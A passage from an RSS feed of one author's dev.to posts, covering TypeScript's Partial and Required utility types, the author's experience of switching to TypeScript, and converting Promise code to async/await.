&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnsznwtfj8xdrow86h56r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnsznwtfj8xdrow86h56r.png" alt=" " width="196" height="165"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here, we have a &lt;code&gt;Person&lt;/code&gt; type, with some predefined properties with different types.&lt;/p&gt;

&lt;p&gt;Now we want to create a new type with the same properties and their types, but they should all be optional.&lt;/p&gt;

&lt;p&gt;We could insert the interrogation mark followed by a colon &lt;code&gt;?:&lt;/code&gt; at each property, and indeed, that'll do the job, but as obvious, it is not the most efficient solution, not to mention that if we have an huge type, it can take some much valuable time that is better spent doing more productive tasks.&lt;/p&gt;

&lt;p&gt;So what is the solution? The &lt;code&gt;Partial&lt;/code&gt; utility type.&lt;/p&gt;

&lt;p&gt;This is how its done using the aforementioned utility type.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzcoocry7pvuhc75tumhl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzcoocry7pvuhc75tumhl.png" alt=" " width="306" height="52"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, its usage is really simple and straightforward. It accept a single generic (think of it as a TypeScript's parameter, but for types, instead for functions), which is the Type we want its properties to become optional.&lt;/p&gt;

&lt;p&gt;Now, we hover over the new &lt;code&gt;PartialPerson&lt;/code&gt; type, we can see that all of the properties are now optional, and we didn't even have to know all of them beforehand.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5ynvygyzfdx78rd46ig.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv5ynvygyzfdx78rd46ig.png" alt=" " width="326" height="209"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Its definition per TypeScript is as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk4ciuhp5fauguhfh3gk3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk4ciuhp5fauguhfh3gk3.png" alt=" " width="356" height="27"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;They basically looped through all of the properties passed through the generic, and making each property optional with its type definition.&lt;/p&gt;

&lt;p&gt;The main usage of it is the updating/editing tasks, when you want to edit an object through a function, but you only want to pass the object properties you intend to edit, and not all of them.&lt;/p&gt;

&lt;p&gt;This feature is available in TypeScript since version 2.1&lt;/p&gt;

&lt;p&gt;Bonus: You can use the &lt;code&gt;Required&lt;/code&gt; utility type to make all properties of a type required, and if some or all of its properties are optional, they become required. This is the opposite of &lt;code&gt;Partial&lt;/code&gt;, where all properties become optional.&lt;/p&gt;

&lt;p&gt;Thank you for reading, and I hope that was beneficial to you!&lt;/p&gt;




&lt;p&gt;Connect with me on: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/marouane_souda" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.instagram.com/marouane.codes" rel="noopener noreferrer"&gt;Instagram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/marsou001" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/marouane-souda-837512163" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marouanesouda.com" rel="noopener noreferrer"&gt;Personal website&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>TypeScript: my opinion</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Sun, 17 Oct 2021 13:06:19 +0000</pubDate>
      <link>https://dev.to/marsou001/typescript-my-opinion-h40</link>
      <guid>https://dev.to/marsou001/typescript-my-opinion-h40</guid>
      <description>&lt;p&gt;TypeScript is the new hot trend of this year 2021, and is expected to grow even more during the next few years, along with some other technologies such as NextJS, GraphQL and others, and for good reasons too. The type safety that it offers, the IntelliSense, as well as some traditional object-oriented-programming concepts such as Interfaces, and access modifiers, has upped the game for JavaScript developers big time, and made JavaScript all the more robust and safe, while adhering to the same rules that governs it (ie: any valid TypeScript code, is a valid JavaScript code).&lt;/p&gt;

&lt;p&gt;With that in mind, I have finally made the switch about 7 months ago. This switch has started a journey full of ups and downs, and frustrations at the beginning. But the end result was so worth it, and I can safely say now that I have no intentions to return to regular JavaScript ever again.&lt;/p&gt;

&lt;h1&gt;
  
  
  What to expect?
&lt;/h1&gt;

&lt;p&gt;The first few weeks, TypeScript coding felt like walking in a minefield. I had to watch out for every variable I write, and its type, lest I get bombed with humongous lines describing an error somewhere. And they are everywhere.&lt;/p&gt;

&lt;p&gt;Before, when working with React, all I had to do was to install some dependencies, and get get going. But now, I need type definition for each one, that is, if they are not made separately in a different NPM package all together.&lt;/p&gt;

&lt;p&gt;I also got frustrated every time I had to bypass an error that I wouldn't have got if I used JavaScript instead (if I had a coin each time I said to myself "let me just switch back JavaScript, it'll make this smooth again", I'd have a lot of coins).&lt;/p&gt;

&lt;p&gt;But I know I had to persist, because I knew what benefits I'll gain in the end. And I did, both persisted and gained advantages. The errors don't appear that much anymore, and if they do, they are predictable, and significantly easier to deal with than before.&lt;/p&gt;

&lt;p&gt;I now write safe, consistent code, and I get warned beforehand, at compile time, of errors, instead on seeing them on the app screen on the browsers, or the console. So peace of mind it is.&lt;/p&gt;

&lt;p&gt;In conclusion, I do recommend trying TypeScript at least, because it's worth the relative troubles, and it'll make your coding experience far more enjoyable in the long run.&lt;/p&gt;




&lt;p&gt;Connect with me on: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/marouane_souda" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.instagram.com/marouane.codes" rel="noopener noreferrer"&gt;Instagram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/marsou001" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/marouane-souda-837512163" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marouanesouda.com" rel="noopener noreferrer"&gt;Personal website&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Convert A Promise To ASYNC/AWAIT</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Fri, 19 Feb 2021 19:18:08 +0000</pubDate>
      <link>https://dev.to/marsou001/convert-a-promise-to-async-await-3gd5</link>
      <guid>https://dev.to/marsou001/convert-a-promise-to-async-await-3gd5</guid>
      <description>&lt;p&gt;Hello everyone! &lt;/p&gt;

&lt;p&gt;This is my very first post, so I hope it'll be as helpful as I want it to be.&lt;/p&gt;

&lt;p&gt;How to convert a promise-based asynchronous code to async/await format, thus making it more readable?&lt;/p&gt;

&lt;p&gt;As we all know, Promises were an improvement over callbacks after they were included in JavaScript as part of the ECMAScript 6 specification. But they do tend to get messy in their own way. Maybe not as hellish as callbacks (callbacks pyramid of doom anyone?), but enough to warrant an upgrade to a more readable syntax. &lt;/p&gt;

&lt;p&gt;And this is where async/await comes in.&lt;/p&gt;

&lt;h2&gt;
  
  
  Convert a simple Promise.
&lt;/h2&gt;

&lt;p&gt;First, let's start with a simple Promise: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gel2wpodkp3g6xucup0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gel2wpodkp3g6xucup0.png" alt="Alt Text" width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a simple function that returns a promise. The promise resolves to a value of type string, and of value &lt;code&gt;"resolved"&lt;/code&gt; after 5000 milliseconds, or 5 seconds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2fl61nqcvxt4164bxbl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2fl61nqcvxt4164bxbl.png" alt="Alt Text" width="800" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are calling the function, and after returning the promise, the &lt;code&gt;then&lt;/code&gt; method will be called after 5 seconds, and "resolved" gets logged to the console.&lt;/p&gt;

&lt;p&gt;The whole code looks like this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqb1xbsj7betqmvat3ftu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqb1xbsj7betqmvat3ftu.png" alt="Alt Text" width="800" height="312"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What we want to do is turn it into an async/await code.&lt;/p&gt;

&lt;p&gt;First, let's put the whole thing inside of a function. This is important, because &lt;code&gt;await&lt;/code&gt; only works inside a function preceded by an &lt;code&gt;async&lt;/code&gt; keyword. We will add it later.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz5qy0lmvzr6foop9nwt2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz5qy0lmvzr6foop9nwt2.png" alt="Alt Text" width="800" height="258"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we created a new function, inside of which the promise is stored in a variable &lt;code&gt;v&lt;/code&gt;. If we try and log &lt;code&gt;v&lt;/code&gt; to the console, we can see that it is a promise object.&lt;/p&gt;

&lt;p&gt;The important thing we should note is that &lt;code&gt;await&lt;/code&gt; is the main keyword here, async is just a wrapper, but without it, &lt;code&gt;await&lt;/code&gt; won't work.&lt;/p&gt;

&lt;p&gt;So we will add it&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvt4l9llbm3g3t3dztdf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvt4l9llbm3g3t3dztdf.png" alt="Alt Text" width="800" height="258"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The function usually returns an &lt;code&gt;undefined&lt;/code&gt; value if no return statement was specified. but with &lt;code&gt;async&lt;/code&gt;, it returns a promise, but that's an entire point on its own, and beyond the scope of this post.&lt;/p&gt;

&lt;p&gt;After adding the &lt;code&gt;async&lt;/code&gt; keyword, nothing should really change. &lt;code&gt;v&lt;/code&gt; is still a promise, but what if we add &lt;code&gt;await&lt;/code&gt; before calling &lt;code&gt;myPromise&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqmd4rwg07m04aj2me5x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqmd4rwg07m04aj2me5x.png" alt="Alt Text" width="800" height="258"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As we can see, if we wait 5 seconds, &lt;code&gt;"resolved"&lt;/code&gt; is logged, and &lt;code&gt;v&lt;/code&gt; is a string, not a promise object. So, &lt;code&gt;await&lt;/code&gt; resolves the promise, and we get the value directly. And our code is much cleaner.&lt;/p&gt;

&lt;p&gt;The true benefit of async/await manifests itself when you try to chain multiple then statements with each other, which looks clumsy. With &lt;code&gt;await&lt;/code&gt;, it'll be way easier to read and debug.&lt;/p&gt;

&lt;p&gt;I hope this post has helped you if you want to understand async/await to learn async/await. They are actually very easy once you know how to use them.&lt;/p&gt;

&lt;p&gt;If you have any comments, notes, or constructive criticism, please add them below, and thanks for reading.&lt;/p&gt;




&lt;p&gt;Connect with me on: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/marouane_souda" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.instagram.com/marouane.codes" rel="noopener noreferrer"&gt;Instagram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/marsou001" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/marouane-souda-837512163" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marouanesouda.com" rel="noopener noreferrer"&gt;Personal website&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>javascript</category>
    </item>
  </channel>
</rss>
